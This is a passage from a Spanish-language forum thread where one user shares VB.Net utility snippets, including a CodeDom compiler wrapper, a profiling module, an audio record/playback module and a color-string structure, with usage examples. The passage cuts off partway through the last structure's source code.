  68.    End Sub
  69.  
  70.    ''' ----------------------------------------------------------------------------------------------------
  71.    ''' <summary>
  72.    ''' Handles the <see cref="CodeDomUtil.Compiler.CompilerWorkDone"/> event of the <see cref="vbCompiler"/> instance.
  73.    ''' </summary>
  74.    ''' ----------------------------------------------------------------------------------------------------
  75.    ''' <param name="sender">
  76.    ''' The source of the event.
  77.    ''' </param>
  78.    '''
  79.    ''' <param name="e">
  80.    ''' The <see cref="CodeDomUtil.Compiler.CompilerWorkDoneEventArgs"/> instance containing the event data.
  81.    ''' </param>
  82.    ''' ----------------------------------------------------------------------------------------------------
  83.    Public Sub VbCompiler_CompilerWorkDone(ByVal sender As Object, ByVal e As CodeDomUtil.Compiler.CompilerWorkDoneEventArgs) _
  84.    Handles vbCompiler.CompilerWorkDone
  85.  
  86.        Console.WriteLine(String.Format("Compiler: {0}", e.CodeDomProvider.ToString))
  87.        Console.WriteLine(String.Format("Parameters: {0}", e.CompilerParameters.CompilerOptions))
  88.  
  89.        For Each war As CodeDomUtil.Compiler.Warning In e.CompilerWarnings
  90.            Console.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
  91.        Next war
  92.  
  93.        For Each err As CodeDomUtil.Compiler.Error In e.CompileErrors
  94.            Console.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
  95.        Next err
  96.  
  97.        If Not e.CompileErrors.Any Then
  98.            Console.WriteLine(String.Format("Compilation Successful: {0}", e.TargetFilePath))
  99.        End If
  100.  
  101.        Console.WriteLine()
  102.  
  103.    End Sub
  104.  
  105. End Class

Un ejemplo del compilador de C#:
Código
  1. Public NotInheritable Class Form1 : Inherits Form
  2.  
  3.    ''' ----------------------------------------------------------------------------------------------------
  4.    ''' <summary>
  5.    ''' The C# compiler instance.
  6.    ''' </summary>
  7.    ''' ----------------------------------------------------------------------------------------------------
  8.    Dim WithEvents csCompiler As CodeDomUtil.Compiler =
  9.        New CodeDomUtil.CSharpCompiler(CodeDomUtil.CompilerVersions.V4)
  10.  
  11.    Private Sub Form1_Shown() Handles MyBase.Shown
  12.  
  13.        With Me.csCompiler.Compilersettings
  14.            .GenerateDebugInformation = True
  15.            .GenerateWarnings = True
  16.            .GenerateXmlDocumentation = True
  17.            .HighEntropyEnabled = True
  18.            .IntegerOverflowChecksEnabled = False
  19.            .OptimizationsEnabled = True
  20.            .OutputLanguage = New CultureInfo("en-US")
  21.            .Platform = CodeDomUtil.Platform.AnyCpu
  22.            .SubsystemVersion = CodeDomUtil.SubsystemVersions.WindowsXP
  23.            .TreatWarningsAsErrors = False
  24.            .Verbose = True
  25.            .VerboseSyntax = False
  26.            .WarningLevel = CodeDomUtil.WarningLevelEnum.Level3
  27.            .LibraryPaths.Add(IO.Directory.GetCurrentDirectory)
  28.        End With
  29.  
  30.        Dim referencedAssemblies As New List(Of String)
  31.        referencedAssemblies.AddRange({"System.dll", "System.Windows.Forms.dll"})
  32.  
  33.        ' Compile a C# Console App from string.
  34.        csCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.Console,
  35.                                     targetFile:="C:\CS Default Console App.exe",
  36.                                     sourceCode:=CodeDomUtil.Templates.TemplateCsConsoleApp,
  37.                                     mainMemberName:="MainNamespace.MainClass",
  38.                                     referencedAssemblies:=referencedAssemblies,
  39.                                     resources:=Nothing,
  40.                                     iconFile:=Nothing)
  41.  
  42.        ' Compile a C# WinForms App from string.
  43.        csCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.WinExe,
  44.                                     targetFile:="C:\CS Default WinForms App.exe",
  45.                                     sourceCode:=CodeDomUtil.Templates.TemplateCsWinFormsApp,
  46.                                     mainMemberName:="MainNamespace.MainClass",
  47.                                     referencedAssemblies:=referencedAssemblies,
  48.                                     resources:=Nothing,
  49.                                     iconFile:=Nothing)
  50.  
  51.        ' Compile a C# library from string.
  52.        csCompiler.CompileFromString(netAssembly:=CodeDomUtil.NetAssembly.DynamicLinkLibrary,
  53.                                     targetFile:="C:\CS Default Library.dll",
  54.                                     sourceCode:=CodeDomUtil.Templates.TemplateCsLib,
  55.                                     mainMemberName:="MainNamespace.MainClass",
  56.                                     referencedAssemblies:=referencedAssemblies,
  57.                                     resources:=Nothing,
  58.                                     iconFile:=Nothing)
  59.  
  60.        ' Compile a C# local file that contains the sourcecode.
  61.        csCompiler.CompileFromFile(netAssembly:=CodeDomUtil.NetAssembly.WinExe,
  62.                                   targetFile:="C:\CS Custom App.exe",
  63.                                   sourceFile:="C:\SourceCode.cs",
  64.                                   mainMemberName:="MainNamespace.MainClass",
  65.                                   referencedAssemblies:=referencedAssemblies,
  66.                                   resources:=Nothing,
  67.                                   iconFile:=Nothing)
  68.  
  69.    End Sub
  70.  
  71.    ''' ----------------------------------------------------------------------------------------------------
  72.    ''' <summary>
  73.    ''' Handles the <see cref="CodeDomUtil.Compiler.CompilerWorkDone"/> event of the csCompiler instance.
  74.    ''' </summary>
  75.    ''' ----------------------------------------------------------------------------------------------------
  76.    ''' <param name="sender">
  77.    ''' The source of the event.
  78.    ''' </param>
  79.    '''
  80.    ''' <param name="e">
  81.    ''' The <see cref="CodeDomUtil.Compiler.CompilerWorkDoneEventArgs"/> instance containing the event data.
  82.    ''' </param>
  83.    ''' ----------------------------------------------------------------------------------------------------
  84.    Public Sub CsCompiler_CompilerWorkDone(ByVal sender As Object, ByVal e As CodeDomUtil.Compiler.CompilerWorkDoneEventArgs) _
  85.    Handles csCompiler.CompilerWorkDone
  86.  
  87.        Console.WriteLine(String.Format("Compiler: {0}", e.CodeDomProvider.ToString))
  88.        Console.WriteLine(String.Format("Parameters: {0}", e.CompilerParameters.CompilerOptions))
  89.  
  90.        For Each war As CodeDomUtil.Compiler.Warning In e.CompilerWarnings
  91.            Console.WriteLine(String.Format("{0}| Warning: {1}", war.ErrorNumber, war.ErrorText))
  92.        Next war
  93.  
  94.        For Each err As CodeDomUtil.Compiler.Error In e.CompileErrors
  95.            Console.WriteLine(String.Format("{0}| Error: {1}", err.ErrorNumber, err.ErrorText))
  96.        Next err
  97.  
  98.        If Not e.CompileErrors.Any Then
  99.            Console.WriteLine(String.Format("Compilation Successful: {0}", e.TargetFilePath))
  100.        End If
  101.  
  102.        Console.WriteLine()
  103.  
  104.    End Sub
  105.  
  106. End Class

Por último, muestro el diagrama de class:

(http://i.imgur.com/2TgnAb9.png)

(http://i.imgur.com/5JUGyTf.png)

(http://i.imgur.com/VGRIByc.png)


Espero que les haya servido de algo este aporte.

Saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 26 Octubre 2015, 17:33 pm
Lamentablemente por las restricciones del foro en cuanto al límite de caracteres por post creo que no voy a poder seguir publicando snippets, ya que cada vez me quedan más grandes y muchas veces no me caben los snippets y debo subirlos a otro lugar para poner un simple enlace aquí...

Así que he decidido no publicar más snippets "importantes" o "grandes" por que me agobia dicha restricción, pero seguiré compartiendo snippets "pequeños" si surge la ocasión claro está.

También quiero mencionar que estoy construyendo mi GitHub en el cual pienso subir todos los snippets que tengo (y de paso, a ver si alguien me contribuye a optimizar los códigos xD).

Pueden visitar el repositorio de snippets a través de esta url:
➢ http://github.com/ElektroStudios/VBNetSnippets

...Todavía faltan muchas categorías y snippets por subir, ya que primero tengo que tratar de reorganizarlos y refactorizarlos (por ejemplo, en lugar de tener 20 snippets sobre manipulación de strings, los paso a un módulo de extensiones de String), y eso lleva su tiempo.

Bueno, un saludo!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 28 Octubre 2015, 02:58 am
Les traigo una nueva actualización de este útil módulo, ProfillingUtil.vb, que como su nombre indica está orientado a escenarios de Profilling y test de unidades de código, aunque todavía es un módulo muy sencillito.

Al módulo le añadí dos métodos asíncronos, uno para medir el tiempo de ejecución de una operación, y otro para evaluar si una operación fue exitosa o no. Aparte, he refactorizado los métodos sincrónicos que ya mostré en snippets anteriores... los cuales ahora exponen el resultado a través de la estructura ProfillingUtil.TestExecutionInfo para un manejo más sencillo o familiar e intuitivo.

Sin más, abajo les muestro el código fuente y ejemplos de uso.

Recuerden que aquí tienen más snippets:

(http://goo.gl/MyBHf2) (http://goo.gl/W2sE1q)

Saludos



Ejemplo de uso asíncronico:

Código
  1. Imports System
  2. Imports System.Threading.Tasks
  3.  
  4. Public Class Form1 : Inherits Form
  5.  
  6.    Private Sub Test() Handles Me.Shown
  7.  
  8.        Dim taskTestTime As Task(Of TestExecutionInfo) =
  9.            ProfillingUtil.TestTimeAsync(Sub()
  10.                                             For x As Integer = 0 To 5000
  11.                                                 Console.WriteLine(x)
  12.                                             Next x
  13.                                         End Sub)
  14.  
  15.        taskTestTime.ContinueWith(Sub() Me.ShowTestExecutionInfo(taskTestTime.Result))
  16.  
  17.    End Sub
  18.  
  19.    Private Sub ShowTestExecutionInfo(ByVal teInfo As TestExecutionInfo)
  20.  
  21.        Dim sb As New StringBuilder
  22.        Select Case teInfo.Success
  23.  
  24.            Case True
  25.                With sb ' Set an information message.
  26.                    .AppendLine(String.Format("Method Name: {0}", teInfo.Method.Name))
  27.                    .AppendLine()
  28.                    .AppendLine(String.Format("Elapsed Time: {0}", teInfo.Elapsed.ToString("hh\:mm\:ss\:fff")))
  29.                End With
  30.                MessageBox.Show(sb.ToString, "Code Execution Measurer", MessageBoxButtons.OK, MessageBoxIcon.Information)
  31.  
  32.            Case Else
  33.                With sb ' Set an error message.
  34.                    .AppendLine("Exception occurred during code execution measuring.")
  35.                    .AppendLine()
  36.                    .AppendLine(String.Format("Method Name: {0}", teInfo.Method.Name))
  37.                    .AppendLine()
  38.                    .AppendLine(String.Format("Exception Type: {0}", teInfo.Exception.GetType.Name))
  39.                    .AppendLine()
  40.                    .AppendLine("Exception Message:")
  41.                    .AppendLine(teInfo.Exception.Message)
  42.                    .AppendLine()
  43.                    .AppendLine("Exception Stack Trace:")
  44.                    .AppendLine(teInfo.Exception.StackTrace)
  45.                End With
  46.                MessageBox.Show(sb.ToString, "Code Execution Measurer", MessageBoxButtons.OK, MessageBoxIcon.Error)
  47.  
  48.        End Select
  49.  
  50.    End Sub
  51.  
  52. End Class

Ejemplo de uso síncronico:

Código
  1.    Sub Test()
  2.  
  3.        Dim successful As Boolean =
  4.            ProfillingUtil.TestSuccess(Sub() Convert.ToInt32("Hello World!"))
  5.  
  6.        Dim teInfo As TestExecutionInfo =
  7.            ProfillingUtil.TestTime(Sub()
  8.                                        For x As Integer = 0 To 2500
  9.                                            Console.WriteLine(x)
  10.                                        Next x
  11.                                    End Sub)
  12.  
  13.        Dim sb As New StringBuilder
  14.        Select Case teInfo.Success
  15.  
  16.            Case True
  17.                With sb ' Set an information message.
  18.                    .AppendLine(String.Format("Method Name: {0}", teInfo.Method.Name))
  19.                    .AppendLine()
  20.                    .AppendLine(String.Format("Elapsed Time: {0}", teInfo.Elapsed.ToString("hh\:mm\:ss\:fff")))
  21.                End With
  22.                MessageBox.Show(sb.ToString, "Code Execution Measurer", MessageBoxButtons.OK, MessageBoxIcon.Information)
  23.  
  24.            Case Else
  25.                With sb ' Set an error message.
  26.                    .AppendLine("Exception occurred during code execution measuring.")
  27.                    .AppendLine()
  28.                    .AppendLine(String.Format("Method Name: {0}", teInfo.Method.Name))
  29.                    .AppendLine()
  30.                    .AppendLine(String.Format("Exception Type: {0}", teInfo.Exception.GetType.Name))
  31.                    .AppendLine()
  32.                    .AppendLine("Exception Message:")
  33.                    .AppendLine(teInfo.Exception.Message)
  34.                    .AppendLine()
  35.                    .AppendLine("Exception Stack Trace:")
  36.                    .AppendLine(teInfo.Exception.StackTrace)
  37.                End With
  38.                MessageBox.Show(sb.ToString, "Code Execution Measurer", MessageBoxButtons.OK, MessageBoxIcon.Error)
  39.  
  40.        End Select
  41.  
  42.    End Sub



Código fuente del módulo ProfillingUtil.vb:

EDITO:

BUENO, POR LO VISTO EN EL FORO NO CABE UN MISERABLE CÓDIGO DE 700 LINEAS. ASÍ QUE NO PUEDO PUBLICARLO AQUÍ. COPIEN Y PEGUEN DESDE EL GITHUB:
https://raw.githubusercontent.com/ElektroStudios/VBNetSnippets/master/Profilling/Profilling%20Util.vb


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 29 Octubre 2015, 17:12 pm
Les traigo un nuevo snippet recién salido del horno, el módulo AudioUtil.

La clase hija AudioUtil.WaveRecorder permite grabar audio Wave de forma muy sencilla.
La clase hija AudioUtil.AudioPlayer permite reproducir archivos wav, mp3 o mid/midi de forma muy sencilla.

Aparte de eso, el módulo AudioUtil puede hacer algunas cosas más, como modificar el volumen de la aplicación actual, o silenciar el volumen del sistema.



Lista de miembros públicos:

 - Types
   - AudioUtil.AudioPlayer : IDisposable
   - AudioUtil.StereoVolume <Serializable>
   - AudioUtil.WaveRecorder : IDisposable

 - Cosntructors
   - AudioUtil.AudioPlayer.New()
   - AudioUtil.AudioPlayer.New(Form)
   - AudioUtil.StereoVolume(Integer, Integer)
   - AudioUtil.WaveRecorder.New()

 - Properties
   - AudioUtil.AudioPlayer.Filepath As String
   - AudioUtil.AudioPlayer.Status As PlayerState
   - AudioUtil.AudioPlayer.PlaybackMode As AudioPlayMode
   - AudioUtil.AudioPlayer.Channels As Integer
   - AudioUtil.AudioPlayer.Length As Integer
   - AudioUtil.AudioPlayer.Position As TimeSpan
   - AudioUtil.AudioPlayer.IsFileLoaded As Boolean
   - AudioUtil.StereoVolume.LeftChannel As Integer
   - AudioUtil.StereoVolume.RightChannel As Integer
   - AudioUtil.WaveRecorder.Status As AudioUtil.WaveRecorder.RecorderStatus

 - Enumerations
   - AudioUtil.ChannelMode As Integer
   - AudioUtil.AudioPlayer.PlayerState As Integer
   - AudioUtil.WaveRecorder.RecorderStatus As Integer

 - Functions
   - AudioUtil.GetAppVolume() As AudioUtil.StereoVolume

 - Methods
   - AudioUtil.MuteSystemVolume()
   - AudioUtil.SetAppVolume(Integer)
   - AudioUtil.SetAppVolume(Integer, Integer)
   - AudioUtil.SetAppVolume(AudioUtil.StereoVolume)
   - AudioUtil.AudioPlayer.LoadFile(String)
   - AudioUtil.AudioPlayer.UnloadFile
   - AudioUtil.AudioPlayer.Play(Opt: AudioPlayMode)
   - AudioUtil.AudioPlayer.Seek(Long)
   - AudioUtil.AudioPlayer.Seek(TimeSpan)
   - AudioUtil.AudioPlayer.Pause
   - AudioUtil.AudioPlayer.Resume
   - AudioUtil.AudioPlayer.Stop
   - AudioUtil.AudioPlayer.Dispose
   - AudioUtil.WaveRecorder.Record
   - AudioUtil.WaveRecorder.Stop
   - AudioUtil.WaveRecorder.Play
   - AudioUtil.WaveRecorder.Delete
   - AudioUtil.WaveRecorder.Save(String, Opt: Boolean)
   - AudioUtil.WaveRecorder.Dispose



Ejemplo de uso de la class WaveRecorder:

Código
  1. Dim recorder As New WaveRecorder
  2.  
  3. Sub Button_Record_Click() Handles Button_Record.Click
  4.  
  5.    If Not (recorder.Status = WaveRecorder.RecorderStatus.Recording) Then
  6.        recorder.Record()
  7.    End If
  8.  
  9. End Sub
  10.  
  11. Sub Button_Stop_Click() Handles Button_Stop.Click
  12.  
  13.    If (recorder.Status = WaveRecorder.RecorderStatus.Recording) Then
  14.        recorder.Stop()
  15.    End If
  16.  
  17. End Sub
  18.  
  19. Sub Button_Play_Click() Handles Button_Play.Click
  20.  
  21.    If (recorder.Status = WaveRecorder.RecorderStatus.Stopped) Then
  22.        recorder.Play()
  23.    End If
  24.  
  25. End Sub
  26.  
  27. Sub Button_Delete_Click() Handles Button_Delete.Click
  28.  
  29.    If Not (recorder.Status = WaveRecorder.RecorderStatus.Empty) Then
  30.        recorder.Delete()
  31.    End If
  32.  
  33. End Sub
  34.  
  35. Sub Button_Save_Click() Handles Button_Save.Click
  36.  
  37.    If Not (recorder.Status = WaveRecorder.RecorderStatus.Empty) Then
  38.        recorder.Save("C:\File.wav", overWrite:=True)
  39.    End If
  40.  
  41. End Sub

Ejemplo de uso de la class AudioPlayer:

Código
  1. Dim player As New AudioPlayer
  2.  
  3. Sub Button_LoadFile_Click() Handles Button_LoadFile.Click
  4.  
  5.    If Not player.IsFileLoaded Then
  6.        player.LoadFile("C:\File.wav")
  7.    End If
  8.  
  9. End Sub
  10.  
  11. Sub Button_Play_Click() Handles Button_Play.Click
  12.  
  13.    If Not (player.Status = AudioPlayer.PlayerState.Playing) Then
  14.        player.Play(AudioPlayMode.Background)
  15.    End If
  16.  
  17. End Sub
  18.  
  19. Sub Button_Stop_Click() Handles Button_Stop.Click
  20.  
  21.    If Not (player.Status = AudioPlayer.PlayerState.Stopped) Then
  22.        player.Stop()
  23.    End If
  24.  
  25. End Sub
  26.  
  27. Sub Button_PauseResume_Click() Handles Button_PauseResume.Click
  28.  
  29.    If (player.Status = AudioPlayer.PlayerState.Playing) Then
  30.        player.Pause()
  31.  
  32.    ElseIf (player.Status = AudioPlayer.PlayerState.Paused) Then
  33.        player.Resume()
  34.  
  35.    End If
  36.  
  37. End Sub
  38.  
  39. Private Sub Button_SeekBackward_Click(sender As Object, e As EventArgs) Handles Button_SeekBackward.Click
  40.  
  41.    Dim currentPosition As Long = CLng(player.Position.TotalMilliseconds)
  42.  
  43.    If ((currentPosition - 5000) <= 0) Then
  44.        player.Seek(0)
  45.  
  46.    Else
  47.        player.Seek(currentPosition - 5000)
  48.  
  49.    End If
  50.  
  51. End Sub
  52.  
  53. Private Sub Button_SeekForward_Click(sender As Object, e As EventArgs) Handles Button_SeekForward.Click
  54.  
  55.    Dim currentPosition As Long = CLng(player.Position.TotalMilliseconds)
  56.  
  57.    If Not ((currentPosition + 5000) >= player.Length) Then
  58.        player.Seek(currentPosition + 5000)
  59.    End If
  60.  
  61. End Sub
  62.  
  63. Sub Button_UnloadFile_Click() Handles Button_UnloadFile.Click
  64.  
  65.    If player.IsFileLoaded Then
  66.        player.UnLoadFile()
  67.    End If
  68.  
  69. End Sub



Código fuente:
  • https://github.com/ElektroStudios/VBNetSnippets/blob/master/Audio/Audio%20Util.vb

Más snippets (o librerías según se mire xD) en:
(http://goo.gl/MyBHf2) (http://goo.gl/W2sE1q)

Saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 8 Noviembre 2015, 04:10 am
Una simple esructura para representar un color, en un string con formato y sintaxis unica.
Se puede extender sencillamente para añadir más formatos/sintaxis.

Ejemplo de uso:
Código
  1. Dim colorString As New ColorString(Color.FromArgb(255, 91, 146, 198))
  2.  
  3. Console.WriteLine(String.Format("ColorString Structure Size: {0}", Marshal.SizeOf(GetType(ColorString)).ToString))
  4. Console.WriteLine(String.Format("Color.Tostring      : {0}", colorString.Color.ToString))
  5. Console.WriteLine(String.Format("ColorString.Tostring: {0}", colorString.ToString))
  6. Console.WriteLine()
  7.  
  8. Console.WriteLine(String.Format("Numeric Format (Standard)    : {0}", colorString.Numeric(ColorString.ColorStringSyntax.Standard)))
  9. Console.WriteLine(String.Format("Numeric Format (CSharp)      : {0}", colorString.Numeric(ColorString.ColorStringSyntax.CSharp)))
  10. Console.WriteLine(String.Format("Numeric Format (VbNet)       : {0}", colorString.Numeric(ColorString.ColorStringSyntax.VbNet)))
  11. Console.WriteLine(String.Format("Numeric Format (VisualStudio): {0}", colorString.Numeric(ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))
  12. Console.WriteLine()
  13.  
  14. Console.WriteLine(String.Format("Hexadecimal Format (Standard)    : {0}", colorString.Hexadecimal(ColorString.ColorStringSyntax.Standard)))
  15. Console.WriteLine(String.Format("Hexadecimal Format (CSharp)      : {0}", colorString.Hexadecimal(ColorString.ColorStringSyntax.CSharp)))
  16. Console.WriteLine(String.Format("Hexadecimal Format (VbNet)       : {0}", colorString.Hexadecimal(ColorString.ColorStringSyntax.VbNet)))
  17. Console.WriteLine(String.Format("Hexadecimal Format (VisualStudio): {0}", colorString.Hexadecimal(ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))
  18. Console.WriteLine()
  19.  
  20. Console.WriteLine(String.Format("Web Format (Standard)    : {0}", colorString.Web(ColorString.ColorStringSyntax.Standard)))
  21. Console.WriteLine(String.Format("Web Format (CSharp)      : {0}", colorString.Web(ColorString.ColorStringSyntax.CSharp)))
  22. Console.WriteLine(String.Format("Web Format (VbNet)       : {0}", colorString.Web(ColorString.ColorStringSyntax.VbNet)))
  23. Console.WriteLine(String.Format("Web Format (VisualStudio): {0}", colorString.Web(ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))

Resultado de ejecución:
Citar
ColorString Structure Size: 24
Color.Tostring      : Color [A=255, R=91, G=146, B=198]
ColorString.Tostring: {A=255, R=91, G=146, B=198}

Numeric Format (Standard)    : 255, 91, 146, 198
Numeric Format (CSharp)      : Color.FromArgb(255, 91, 146, 198);
Numeric Format (VbNet)       : Color.FromArgb(255, 91, 146, 198)
Numeric Format (VisualStudio): 255; 91; 146; 198

Hexadecimal Format (Standard)    : FF5B92C6
Hexadecimal Format (CSharp)      : Color.FromArgb(0xFF, 0x5B, 0x92, 0xC6);
Hexadecimal Format (VbNet)       : Color.FromArgb(&HFF, &H5B, &H92, &HC6)
Hexadecimal Format (VisualStudio): 0xFF5B92C6

Web Format (Standard)    : #5B92C6
Web Format (CSharp)      : ColorTranslator.FromHtml("#5B92C6");
Web Format (VbNet)       : ColorTranslator.FromHtml("#5B92C6")
Web Format (VisualStudio): #5B92C6

Ejemplo de utilidad en la vida real:
(http://i.imgur.com/VSAWcDr.png)

Código fuente:
Código
  1.    ''' ----------------------------------------------------------------------------------------------------
  2.    ''' <summary>
  3.    ''' Defines a <see cref="Color"/> with an unique string-format representation in the specified string-syntax.
  4.    ''' </summary>
  5.    ''' ----------------------------------------------------------------------------------------------------
  6.    ''' <example> This is a code example.
  7.    ''' <code>
  8.    ''' Dim colorString As New ColorString(Color.FromArgb(255, 91, 146, 198))
  9.    '''
  10.    ''' Console.WriteLine(String.Format("ColorString Structure Size: {0}", Marshal.SizeOf(GetType(ColorString)).ToString))
  11.    ''' Console.WriteLine(String.Format("Color.Tostring      : {0}", colorString.Color.ToString))
  12.    ''' Console.WriteLine(String.Format("ColorString.Tostring: {0}", colorString.ToString))
  13.    ''' Console.WriteLine()
  14.    ''' Console.WriteLine(String.Format("Numeric Format (Standard)    : {0}", colorString.Numeric(ColorUtil.ColorString.ColorStringSyntax.Standard)))
  15.    ''' Console.WriteLine(String.Format("Numeric Format (CSharp)      : {0}", colorString.Numeric(ColorUtil.ColorString.ColorStringSyntax.CSharp)))
  16.    ''' Console.WriteLine(String.Format("Numeric Format (VbNet)       : {0}", colorString.Numeric(ColorUtil.ColorString.ColorStringSyntax.VbNet)))
  17.    ''' Console.WriteLine(String.Format("Numeric Format (VisualStudio): {0}", colorString.Numeric(ColorUtil.ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))
  18.    ''' Console.WriteLine()
  19.    ''' Console.WriteLine(String.Format("Hexadecimal Format (Standard)    : {0}", colorString.Hexadecimal(ColorUtil.ColorString.ColorStringSyntax.Standard)))
  20.    ''' Console.WriteLine(String.Format("Hexadecimal Format (CSharp)      : {0}", colorString.Hexadecimal(ColorUtil.ColorString.ColorStringSyntax.CSharp)))
  21.    ''' Console.WriteLine(String.Format("Hexadecimal Format (VbNet)       : {0}", colorString.Hexadecimal(ColorUtil.ColorString.ColorStringSyntax.VbNet)))
  22.    ''' Console.WriteLine(String.Format("Hexadecimal Format (VisualStudio): {0}", colorString.Hexadecimal(ColorUtil.ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))
  23.    ''' Console.WriteLine()
  24.    ''' Console.WriteLine(String.Format("Web Format (Standard)    : {0}", colorString.Web(ColorUtil.ColorString.ColorStringSyntax.Standard)))
  25.    ''' Console.WriteLine(String.Format("Web Format (CSharp)      : {0}", colorString.Web(ColorUtil.ColorString.ColorStringSyntax.CSharp)))
  26.    ''' Console.WriteLine(String.Format("Web Format (VbNet)       : {0}", colorString.Web(ColorUtil.ColorString.ColorStringSyntax.VbNet)))
  27.    ''' Console.WriteLine(String.Format("Web Format (VisualStudio): {0}", colorString.Web(ColorUtil.ColorString.ColorStringSyntax.VisualStudioPropertyGrid)))
  28.    ''' </code>
  29.    ''' </example>
  30.    ''' ----------------------------------------------------------------------------------------------------
  31.    <Serializable>
  32.    <StructLayout(LayoutKind.Sequential)>
  33.    Public Structure ColorString
  34.  
  35. #Region " Properties "
  36.  
  37.        ''' ----------------------------------------------------------------------------------------------------
  38.        ''' <summary>
  39.        ''' Gets the <see cref="Color"/>.
  40.        ''' </summary>
  41.        ''' ----------------------------------------------------------------------------------------------------
  42.        ''' <value>
  43.        ''' The <see cref="Color"/>.
  44.        ''' </value>
  45.        ''' ----------------------------------------------------------------------------------------------------
  46.        Public ReadOnly Property Color As Color
  47.            <DebuggerStepThrough>
  48.            Get
  49.                Return Me.colorB
  50.            End Get
  51.        End Property
  52.        ''' ----------------------------------------------------------------------------------------------------
  53.        ''' <summary>
  54.        ''' ( Backing field )
  55.        ''' The <see cref="Color"/>.
  56.        ''' </summary>
  57.        ''' ----------------------------------------------------------------------------------------------------
  58.        Private ReadOnly colorB As Color
  59.  
  60.        ''' ----------------------------------------------------------------------------------------------------
  61.        ''' <summary>
  62.        ''' Gets the numeric color-string representation for this instance.
  63.        ''' </summary>
  64.        ''' ----------------------------------------------------------------------------------------------------
  65.        ''' <value>
  66.        ''' The numeric color-string representation.
  67.        ''' </value>
  68.        ''' ----------------------------------------------------------------------------------------------------
  69.        Public ReadOnly Property Numeric(ByVal colorStringSyntax As ColorStringSyntax) As String
  70.            <DebuggerStepThrough>
  71.            Get
  72.                Return Me.GetNumericString(colorStringSyntax)
  73.            End Get
  74.        End Property
  75.  
  76.        ''' ----------------------------------------------------------------------------------------------------
  77.        ''' <summary>
  78.        ''' Gets the Hexadecimal color-string representation for this instance.
  79.        ''' </summary>
  80.        ''' ----------------------------------------------------------------------------------------------------
  81.        ''' <value>
  82.        ''' The Hexadecimal color-string representation.
  83.        ''' </value>
  84.        ''' ----------------------------------------------------------------------------------------------------
  85.        Public ReadOnly Property Hexadecimal(ByVal colorStringSyntax As ColorStringSyntax) As String
  86.            <DebuggerStepThrough>
  87.            Get
  88.                Return Me.GetHexadecimalString(colorStringSyntax)
  89.            End Get
  90.        End Property
  91.  
  92.        ''' ----------------------------------------------------------------------------------------------------
  93.        ''' <summary>
  94.        ''' Gets the Web color-string representation for this instance.
  95.        ''' </summary>
  96.        ''' ----------------------------------------------------------------------------------------------------
  97.        ''' <value>
  98.        ''' The Web color-string representation.
  99.        ''' </value>
  100.        ''' ----------------------------------------------------------------------------------------------------
  101.        Public ReadOnly Property Web(ByVal colorStringSyntax As ColorStringSyntax) As String
  102.            <DebuggerStepThrough>
  103.            Get
  104.                Return Me.GetWebString(colorStringSyntax)
  105.            End Get
  106.        End Property
  107.  
  108. #End Region
  109.  
  110. #Region " Enumerations "
  111.  
  112.        ''' ----------------------------------------------------------------------------------------------------
  113.        ''' <summary>
  114.        ''' Specifies a string syntax to represent a color value.
  115.        ''' </summary>
  116.        ''' ----------------------------------------------------------------------------------------------------
  117.        Public Enum ColorStringSyntax As Integer
  118.  
  119.            ''' <summary>
  120.            ''' Standard syntax.
  121.            ''' </summary>
  122.            Standard = 0
  123.  
  124.            ''' <summary>
  125.            ''' C# language syntax.
  126.            ''' </summary>
  127.            CSharp = 1
  128.  
  129.            ''' <summary>
  130.            ''' Visual Basic.Net language syntax.
  131.            ''' </summary>
  132.            VbNet = 2
  133.  
  134.            ''' <summary>
  135.            ''' VisualStudio IDE's property grid syntax.
  136.            ''' </summary>
  137.            VisualStudioPropertyGrid = 3
  138.  
  139.        End Enum
  140.  
  141. #End Region
  142.  
  143. #Region " Constructors "
  144.  
  145.        ''' ----------------------------------------------------------------------------------------------------
  146.        ''' <summary>
  147.        ''' Initializes a new instance of the <see cref="ColorString"/> structure.
  148.        ''' </summary>
  149.        ''' ----------------------------------------------------------------------------------------------------
  150.        ''' <param name="color">
  151.        ''' The source <see cref="Color"/>.
  152.        ''' </param>
  153.        ''' ----------------------------------------------------------------------------------------------------
  154.        <DebuggerStepThrough>
  155.        Public Sub New(ByVal color As Color)
  156.  
  157.            Me.colorB = color
  158.  
  159.        End Sub
  160.  
  161.        ''' ----------------------------------------------------------------------------------------------------
  162.        ''' <summary>
  163.        ''' Initializes a new instance of the <see cref="ColorString"/> structure.
  164.        ''' </summary>
  165.        ''' ----------------------------------------------------------------------------------------------------
  166.        ''' <param name="brush">
  167.        ''' The source <see cref="SolidBrush"/>.
  168.        ''' </param>
  169.        ''' ----------------------------------------------------------------------------------------------------
  170.        <DebuggerStepThrough>
  171.        Public Sub New(ByVal brush As SolidBrush)
  172.  
  173.            Me.colorB = brush.Color
  174.  
  175.        End Sub
  176.  
  177.        ''' ----------------------------------------------------------------------------------------------------
  178.        ''' <summary>
  179.        ''' Initializes a new instance of the <see cref="ColorString"/> structure.
  180.        ''' </summary>
  181.        ''' ----------------------------------------------------------------------------------------------------
  182.        ''' <param name="pen">
  183.        ''' The source <see cref="Pen"/>.
  184.        ''' </param>
  185.        ''' ----------------------------------------------------------------------------------------------------
  186.        <DebuggerStepThrough>
  187.        Public Sub New(ByVal pen As Pen)
  188.  
  189.            Me.colorB = pen.Color
  190.  
  191.        End Sub
  192.  
  193. #End Region
  194.  
  195. #Region " Private Methods "
  196.  
  197.        ''' ----------------------------------------------------------------------------------------------------
  198.        ''' <summary>
  199.        ''' Gets the numeric string representation of a <see cref="Color"/>, in the specified <see cref="ColorStringSyntax"/> syntax.
  200.        ''' </summary>
  201.        ''' ----------------------------------------------------------------------------------------------------
